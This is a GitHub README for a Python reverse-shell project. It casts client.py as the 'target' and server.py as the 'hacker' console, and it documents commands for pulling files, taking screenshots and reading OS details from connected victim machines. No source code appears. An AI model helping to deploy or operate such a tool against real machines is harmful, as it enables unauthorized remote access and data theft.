Skip to content

PrinciMixtiy/ReverseShell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

20 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Reverse Shell

Reverse shell project implemented with python and socket.

Targets: client.py
Hacker: server.py

Project screenshot

Python Requirements

  • pillow
  • termcolor
  • tqdm
python -m pip install pillow termcolor tqdm

Initialization

1- Run the server

Run server.py on your machine.

python server.py

[IP List] List of IP address

1 - ('127.0.0.1', 4040)

In which address would you like to run the server?
[IP Choice]: 

Chose the your IP address where server will running and press Enter.

[Server start] at [127.0.0.1:4040] 📡

╭─ [127.0.0.1:4040][0 Clients]
╰─ ❯

2- Run client

Run client.py and enter the IP address of the server.

python client.py

[Server IP]: 
[Server IP]: 127.0.0.1

Commands available on the server

╭─ 127.0.0.1:4040[0 Clients]
╰─ ❯

# Show all clients connected with server.
clients show

# Select a client.
clients connect <client number>

# Disconnect a client.
clients disconnect <client number>

# Shut down the server.
exit

Commands available after selecting a client.

1- Download file or folder on the server

download <filename or foldername> <destination:optional>

2- Take screenshot of server

capture <destination.png>
# Don't forget .png file extension.

3- Give information about server OS

os

4- List all clients connected with the server

clients

5- Run local command

local <command>

Disconnect to the server

exit

Notes

  • Use double quote (not single quote) when passing an argument containing space.

    download "file name.txt" file.txt

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages